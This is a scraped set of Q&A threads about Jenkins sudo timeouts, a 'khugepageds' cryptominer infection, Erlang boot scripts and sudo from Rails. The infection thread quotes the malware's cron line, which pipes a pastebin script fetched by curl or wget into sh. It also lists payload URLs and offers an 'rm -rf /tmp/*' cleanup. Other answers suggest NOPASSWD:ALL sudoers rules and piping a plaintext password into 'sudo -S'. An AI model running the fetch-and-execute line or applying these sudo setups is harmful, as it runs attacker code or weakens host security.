jenkins execute shell over ssh hangs when using "sudo su" - jenkins

The field Exec command of execute shell over ssh, I only put command sudo su in there.
But when I build the project, it always stop at the command sudo su till timeout.
The image show what I get in console output.

Welcome to StackOverflow.
sudo
sudo is used for custom installations, system files modification, etc
Interactive shells (human in front of monitor)
When you exec some command preceded by sudo, this shell will ask you for the password of some privileged user. This ask event waits for user response:
Background executions
Some process, crons, scripts or applications like jenkins needs to execute sudo commands. But in this mode , there is no way to enter the password. This is the reason of your timeout
Solutions
disable requiretty
https://gist.github.com/jrichardsz/1adaaa07885b45d497b519431701a943
Security risk of this approach:
https://unix.stackexchange.com/a/65789/188975
use a pseudo TTY in Jenkins
https://unix.stackexchange.com/a/373843/188975

You can try using the expect directive.

Related

Jenkins High CPU Usage Khugepageds

So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.
I tried finding how does jenkins use this command or what to do about it but was not successful.
I did the following
pkill jenkins
service jenkins stop
service jenkins start
When i pkill ofcourse the usage goes down but once restart its back up again.
Anyone had this issue before?
So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...
rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;
Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.
NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).
Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.
You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.
You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.
Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh.
This vulnerability also added a cron process on your system beware to remove that as well.
Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.
Hope this helps.
This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
Possible solution
Do not run Confluence as root!
Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
Remove broken crontab: crontab -u <confluence_user> -r
Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
location /rest/tinymce/1/macro/preview {
return 403;
}
Restart Confluence.
The exploit
Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg
The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.
The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.
it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).
If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.
After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.
A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.
This finally stopped this process from kicking in..
In my case this was making builds fail randomly with the following error:
Maven JVM terminated unexpectedly with exit code 137
It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.
Problem was solved with #HeffZilla solution.

Starting Erlang service at boot time (using Relx for creating release)

I have a server written in Erlang, compiled with Rebar, and I make a release with Relx. Starts nicely with
/root/rel/share3/bin/share3 start
The next step is to start when the server boots.
I have tried different approaches, the last one is using the /etc/init.d/skeleton where I changed the following
NAME=share3
DAEMON=/root/rel/share3/bin/share3
DAEMON_ARGS="$1"
After that, I run update-rc.d, but I have not gotten it too work. (Ubuntu 14.04)
The service runs until the machine reboots, and I need to login and start it again.
For Windows, it is really elegant, since it can create the Windows service.
Ubuntu uses upstart as init system, so you could try something like that:
description "Start my awesome service"
start on runlevel [2345]
stop on runlevel [!2345]
respawn
exec /root/rel/share3/bin/share3
You have to place this script in /etc/init/ directory with '.conf' extension like '/etc/init/share3.coinf'. To start it invoke sudo start share3.
At last, I solved it!
I have told to relx to place the result at /home/mattias/rel. The script from relx is /home/mattias/rel/share3/bin/share3
Replace the row
SCRIPT_DIR="$(dirname "$0")"
by (you need to fix the path /home/mattias/rel)
HOME=/home/mattias
export HOME
SCRIPT_DIR="/home/mattias/rel/share3/bin"
Copy the file to /etc/init.d/share3 using
sudo cp ~/rel/share3/bin/share3 /etc/init.d/
Test that it works using
/etc/init.d/share3 start
and
/etc/init.d/share3 stop
In order to make it start at boot, install sysv-rc-conf
sudo apt-get install sysv-rc-conf
Enable boot at start using
sudo sysv-rc-conf share3 on
and disable
sudo sysv-rc-conf share3 off
Alternatives are welcome.

can not run sudo in a rails resque worker

I have a resque worker which will run some shell command.
for example
ruby
`sudo echo "XXX" >> xx.log`
but when worker run, will raise below error
sudo: no tty present and no askpass program specified
I have add 'whoami' debug code to find which user run this sudo command,
and also set this user's group "test" when execute command will don't need password.
I'm also run same command in shell console, it works right, don't need input password.
sudo visudo
%test ALL=NOPASSWD:ALL
but when the worker run sudo, will says above error, require input password.
Who can tell me why?
Thanks.
I am really hesitant to offer this as a "fix" because #AJcodez asks correctly, "why do you need sudo?" However, you can probably get around the tty requirement by adding the following:
Defaults requiretty
Defaults: %test !requiretty
to the /etc/sudoers file, but please use the visudo command. Also, is test here a user or a group? I also suspect that your sudoers line is malformed. The syntax is:
jane ALL=(LIST_OF_COMMANDS) NOPASSWD: ALL
Where you seem to have it set to run the NOPASSWD setting for all zero commands the %test group can run. Or I could be misunderstanding your paste here.

Running iOS UIAutomation tests from Jenkins

For a while now I've been trying to work out how to run UIAutomation tests from Jenkins - every time I run the build, it builds fine, then it runs my instruments command (using the same command as detailed here ( Can Instruments be used using the command line?) and jenkins just hangs, well the whole machine does, and when I look at activity monitor I can see an instruments process using 2gb of memory.
When I set up jenkins, I original ran it as from a hidden user - this presented some challenges with jenkins being a deamon and not being able to access the window server. I then decided to change the jenkins account to a normal user, logged in and ran instruments from the command line - this worked fine.. but still had no luck with running it from jenkins.
I have set the jenkins account as a developer - no admin though
Please let me know if there's anything else that I could try, or if anyone has got this running successful your guidance would be much appreciated - Thanks
Jenkins on OS X is started from a launchd script and will run as "daemon" by default. The thing to do is change the user in the launched script.
First, get Jenkins ready to shutdown (in "Manage Jenkins" in the GUI).
Then unload the job from launchd, like so:
$ sudo launchctl unload /Library/LaunchDaemons/org.jenkins-ci.plist
Then edit the "UserName" property in the launchd plist, using the user which you want to run jenkins. There's also a GroupName property, which you may want/need to adjust accordingly with your user's group.
Finally, reload Jenkins with:
$ sudo launchctl load /Library/LaunchDaemons/org.jenkins-ci.plist
Hope that helps!
So if you run it as a daemon, first thing to check what happens if you run Jenkins in the foreground The simplest way to do it is with java -jar jenkins.war [other options] command (see this document).
Maybe you can use this https://github.com/houlianpi/robot4ios.
Then in jenkins execute shell:
sh setup.sh
sh runTests.sh ./sample/alltests.js "/Users/komejun/Library/Application Support/iPhone Simulator/5.0/Applications/1622F505-8C07-47E0-B0F0-3A125A88B329/Recipes.app/"
and the report will be auto create in ./ynmsk-report/test.xml

Execute a sudo command in Ruby on Rails app

I am trying to execute a command like this from a Ruby on Rails app:
sudo service squid3 restart
If i try it with this code:
output = ´sudo service squid3 retsart´
It don't work, in the console i see that linux asks the password.
How can i pass a password with this command? Or other suggestions...
You can add the following line to your sudoers file (/etc/sudoers)
rails_user ALL=(root) NOPASSWD:/usr/sbin/service
This will basically let the rails_user user execute the service command as sudo, and the system won't ask you for a password.
rails_user should be replaced with whatever user that you are running your rails process under. And you should also make sure that
Defaults requiretty
is not present in your /etc/sudoers. If not you won't be able use sudo from a script.
You can try the sudo -S flag if available on you system (check man):
echo secretPasswd | sudo -S service squid3 restart
This means that the password will be in clear so you can add the user which needs to perform the task to the sudoers (which creates another security issue by the way).
Does your sudo have a -A switch?
-A
Normally, if sudo requires a password, it will read it from the current terminal. If the -A (askpass) option is specified, a helper program is executed to read the user's password and output the password to the standard output. If the SUDO_ASKPASS environment variable is set, it specifies the path to the helper program. Otherwise, the value specified by the askpass option in sudoers(5) is used.
I wouldn't recommend having the password available in any way to your web server processes though so you'd want to use the sudoers file.
You can use the expect method to catch the password prompt and send the password. However, it might be a better idea to allow your Rails user access to the service command without a password using the NOPASSWD option in /etc/sudoers.

Resources